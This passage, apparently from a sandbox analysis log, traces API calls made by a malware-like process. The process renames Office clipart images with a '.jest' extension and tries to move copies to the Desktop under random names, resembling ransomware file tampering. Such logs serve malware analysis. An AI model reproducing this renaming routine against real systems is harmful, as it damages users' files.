pbstrOut=0x18ea48*="75955.55") returned 0x0 [0169.992] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Xqy F4XrEpsytHdSqV_XKq8RiMoKgFBRmZdZIew9Ez9 ElzsV8GNp4s__o1ZQ8FAo6_PdMv0HFeinHEmVErBV5P7375ox FM9PF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xqy f4xrepsythdsqv_xkq8rimokgfbrmzdziew9ez9 elzsv8gnp4s__o1zq8fao6_pdmv0hfeinhemverbv5p7375ox fm9pf.tmp")) returned 0 [0169.992] GetLastError () returned 0x2 [0169.992] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.018] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg.jest")) returned 1 [0170.021] VarBstrFromR4 (in: fltIn=0x479459cb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.59") returned 0x0 [0170.022] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LgiEHsHRZo lQR_UxYbzsdxjZemg9mvJv jgjh8xghmgcIHrXYvRcHSNGvo906sS6dAeF3YEaaIYlYwbUZeexdMID0E6ovL03UDwv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lgiehshrzo lqr_uxybzsdxjzemg9mvjv jgjh8xghmgcihrxyvrchsngvo906ss6daef3yeaaiylywbuzeexdmid0e6ovl03udwv.tmp")) returned 0 [0170.023] GetLastError () returned 0x2 [0170.023] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.032] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg.jest")) returned 1 [0170.035] VarBstrFromR4 (in: fltIn=0x479459cd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.6") returned 0x0 [0170.036] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w0SNZy3SIZU60t09d2qQ3EojCPWW5IGh1OBejNmb98X3FNzuhJphWTBuSOE5hbUGc-BsA-Txc cJ 4zp8fK0rc7Ltkz8xlD7FZOfN.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w0snzy3sizu60t09d2qq3eojcpww5igh1obejnmb98x3fnzuhjphwtbusoe5hbugc-bsa-txc cj 4zp8fk0rc7ltkz8xld7fzofn.tmp")) returned 0 [0170.036] GetLastError () returned 0x2 [0170.037] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.038] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg.jest")) returned 1 [0170.040] VarBstrFromR4 (in: fltIn=0x479459cd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.6") returned 0x0 [0170.041] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\smkwgGOPY08ieb t5i-hJd0UwsF7DsQ1Xt9JSGBHVWIyY b5H6d0c3uo4yQ5O54wXKbLbd0P7Ss-k8KrieOCc2CUwt51PETfGV97.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\smkwggopy08ieb t5i-hjd0uwsf7dsq1xt9jsgbhvwiyy b5h6d0c3uo4yq5o54wxkblbd0p7ss-k8krieocc2cuwt51petfgv97.tmp")) returned 0 [0170.041] GetLastError () returned 0x2 [0170.042] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.043] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg.jest")) returned 1 [0170.045] VarBstrFromR4 (in: fltIn=0x479459cd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.6") returned 0x0 [0170.047] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LeeMpcr21Yg69mCiG0O8W_FUnYR5O11OoDHOJCdFmO5i5m8WO1glgGSTw JkuHtzvUWN24y7Dhzg-I2SUm4LbI97LAnpCeFlmXD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\leempcr21yg69mcig0o8w_funyr5o11oodhojcdfmo5i5m8wo1glggstw jkuhtzvuwn24y7dhzg-i2sum4lbi97lanpceflmxd.tmp")) returned 0 [0170.047] GetLastError () returned 0x2 [0170.047] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.049] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg.jest")) returned 1 [0170.052] VarBstrFromR4 (in: fltIn=0x479459cf, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.62") returned 0x0 [0170.053] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8rZimiebBMV89Zylt2_Tn0CqSCElFOK8ydwPPGJII4s0bXIvrl vh0bQV4ruufxHvJC-YziouUzebZfburQADibAzickVpEivy39S.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8rzimiebbmv89zylt2_tn0cqscelfok8ydwppgjii4s0bxivrl vh0bqv4ruufxhvjc-yziouuzebzfburqadibazickvpeivy39s.tmp")) returned 0 [0170.053] GetLastError () returned 0x2 [0170.053] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.055] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg.jest")) returned 1 [0170.058] VarBstrFromR4 (in: fltIn=0x479459cf, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.62") returned 0x0 [0170.059] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hI3OCHZfdNcisA8lH7gQoeOcAbDEGBLuBHEgzv1CqCcCmIBzc9c0AUjIxeeV7NUoYulmdy YZXhG3-HDIWRh0BKXHczhh2DDCeIt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hi3ochzfdncisa8lh7gqoeocabdegblubhegzv1cqcccmibzc9c0aujixeev7nuoyulmdy yzxhg3-hdiwrh0bkxhczhh2ddceit.tmp")) returned 0 [0170.059] GetLastError () returned 0x2 [0170.059] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.061] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg.jest")) returned 1 [0170.063] VarBstrFromR4 (in: fltIn=0x479459cf, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.62") returned 0x0 [0170.064] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_Vk_sppozeQrZz9z_qN3FaMSLzzj0f-sYCPE6WV2sKcZkh_nUVukMQtoGvkxfPEgkOq3_ CAQPhA1pE-tk cTEMqblCWUYElFBH.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_vk_sppozeqrzz9z_qn3famslzzj0f-sycpe6wv2skczkh_nuvukmqtogvkxfpegkoq3_ caqpha1pe-tk ctemqblcwuyelfbh.tmp")) returned 0 [0170.064] GetLastError () returned 0x2 [0170.065] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.066] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg.jest")) returned 1 [0170.068] VarBstrFromR4 (in: fltIn=0x479459d1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.63") returned 0x0 [0170.069] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IpnDCVF6m7 k7GvKNW2se2pzQV40zHklmXf8b6NjZ1fZiWzrmioRT8qgTXYlSFcw2yLOxTk6Z4BbxD556W w Gje3dUWrJsDR0cWJ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ipndcvf6m7 k7gvknw2se2pzqv40zhklmxf8b6njz1fziwzrmiort8qgtxylsfcw2yloxtk6z4bbxd556w w gje3duwrjsdr0cwj.tmp")) returned 0 [0170.069] GetLastError () returned 0x2 [0170.070] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.071] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg.jest")) returned 1 [0170.073] VarBstrFromR4 (in: fltIn=0x479459d1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.63") returned 0x0 [0170.074] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NVx8gZd t-7EEMOILMG7BvRT2iR4w8Y4Sg5WuuwlwKf3wLXMxF03qUBOCvsGZtmzdrMgqhjGbj L6Ol2LM3ylHlcO2ClLbwBuUDpo.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nvx8gzd t-7eemoilmg7bvrt2ir4w8y4sg5wuuwlwkf3wlxmxf03qubocvsgztmzdrmgqhjgbj l6ol2lm3ylhlco2cllbwbuudpo.tmp")) returned 0 [0170.074] GetLastError () returned 0x2 [0170.075] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.076] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg.jest")) returned 1 [0170.078] VarBstrFromR4 (in: fltIn=0x479459d1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.63") returned 0x0 [0170.079] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wgVCRv44S6RmZm7ZYavdBd55rc7rCIfYsXNRY-RwCAYxe3zTROup3rUGp-8SR_YayRydvLsTFV5 Qwlcy6I1blAP9Ys3oOwe1 PFb.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wgvcrv44s6rmzm7zyavdbd55rc7rcifysxnry-rwcayxe3ztroup3rugp-8sr_yayrydvlstfv5 qwlcy6i1blap9ys3oowe1 pfb.tmp")) returned 0 [0170.079] GetLastError () returned 0x2 [0170.079] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.080] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg.jest")) returned 1 [0170.082] VarBstrFromR4 (in: fltIn=0x479459d3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.65") returned 0x0 [0170.083] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vy5lOwJEW39yorCqk_yoanDZptuhUtMOx2h 344sU2Bl9fzWwuYQHTSLr7R0A-qzQxUBTzQ2NITpIn7b4_Z3XSo4XQwXLfboQ0wq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vy5lowjew39yorcqk_yoandzptuhutmox2h 344su2bl9fzwwuyqhtslr7r0a-qzqxubtzq2nitpin7b4_z3xso4xqwxlfboq0wq.tmp")) returned 0 [0170.083] GetLastError () returned 0x2 [0170.083] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.085] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg.jest")) returned 1 [0170.087] VarBstrFromR4 (in: fltIn=0x479459d3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.65") returned 0x0 [0170.088] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pjE20vcft2YVlGSNIwmY-9EN0z9RC76JfULZ_oCLHYhlfAAEA5AJZ-J7Rz783h iTuHVC9FevKClsGV9I0-soGp4bd yUP7z j.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pje20vcft2yvlgsniwmy-9en0z9rc76jfulz_oclhyhlfaaea5ajz-j7rz783h ituhvc9fevkclsgv9i0-sogp4bd yup7z j.tmp")) returned 0 [0170.088] GetLastError () returned 0x2 [0170.088] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.089] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg.jest")) returned 1 [0170.092] VarBstrFromR4 (in: fltIn=0x479459d3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.65") returned 0x0 [0170.093] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kmZRSJ s76g6jFrQL77DAFldYJORCzWbVvW_4l5NCYfHl4ahX4V05GRY9QJZZMSfBH7ml0NY2sGdqv7i6hKq41wx ENFl9DtR2.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kmzrsj s76g6jfrql77dafldyjorczwbvvw_4l5ncyfhl4ahx4v05gry9qjzzmsfbh7ml0ny2sgdqv7i6hkq41wx enfl9dtr2.tmp")) returned 0 [0170.093] GetLastError () returned 0x2 [0170.093] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.094] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg.jest")) returned 1 [0170.096] VarBstrFromR4 (in: fltIn=0x479459d5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.66") returned 0x0 [0170.097] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JnS-YWmBFai0tvcmo0QwZNW1Szez-bd43wYiUH6Fo-67cr50Z55q-lwlWO2-fpYZk0GtGT4m6Rzf9IlF_-4n1WRgkl51Hq7NNRI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jns-ywmbfai0tvcmo0qwznw1szez-bd43wyiuh6fo-67cr50z55q-lwlwo2-fpyzk0gtgt4m6rzf9ilf_-4n1wrgkl51hq7nnri.tmp")) returned 0 [0170.098] GetLastError () returned 0x2 [0170.098] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.099] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg.jest")) returned 1 [0170.102] VarBstrFromR4 (in: fltIn=0x479459d5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.66") returned 0x0 [0170.103] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" 